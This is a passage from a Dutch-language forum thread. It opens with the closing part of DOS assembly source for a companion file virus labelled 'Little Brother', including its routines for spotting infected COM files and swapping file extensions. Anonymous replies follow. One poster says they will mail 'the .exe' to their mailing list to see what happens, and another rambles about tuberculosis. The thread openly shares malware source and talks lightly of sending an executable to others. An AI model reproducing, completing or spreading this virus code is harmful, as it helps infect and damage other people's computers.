do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file


;****************************************************************************
;* Find the file
;****************************************************************************

findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret


;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************

change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret


;****************************************************************************
;* search begin of extension
;****************************************************************************

searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret


;****************************************************************************
;* Text and Signature
;****************************************************************************

db 'Little Brother',0

end:

cseg ends
end begin
04-06-2011, 20:53 door Anoniem
Als laatste virus voorbeeld heb ik nog AIDS2, Maar dat is te gevaarlijk om vrij te geven en voor anderen te begrijpen en toepassen in hun hack pogingen...

Ik zal de .exe ff versturen naar mijn mail list kijken wat er gebeurd, als het goed is gaan alle bellen rinkelen omdat het al een oud virusje is, geen worm, trojan of Bacterie...

Cheers,

)R'
09-07-2011, 18:48 door Anoniem
Blijkt de Bacterie het oude gemuteerde TBC te zijn Tuberculose...

Tja, met al die anti-biotica kon je er op wachten...

Ik wens U een goede gezondheid toe,

Is getekend,

R.Veldkamp

Veni VIdi VIci!!!
Reageren

Deze posting is gelocked. Reageren is niet meer mogelijk.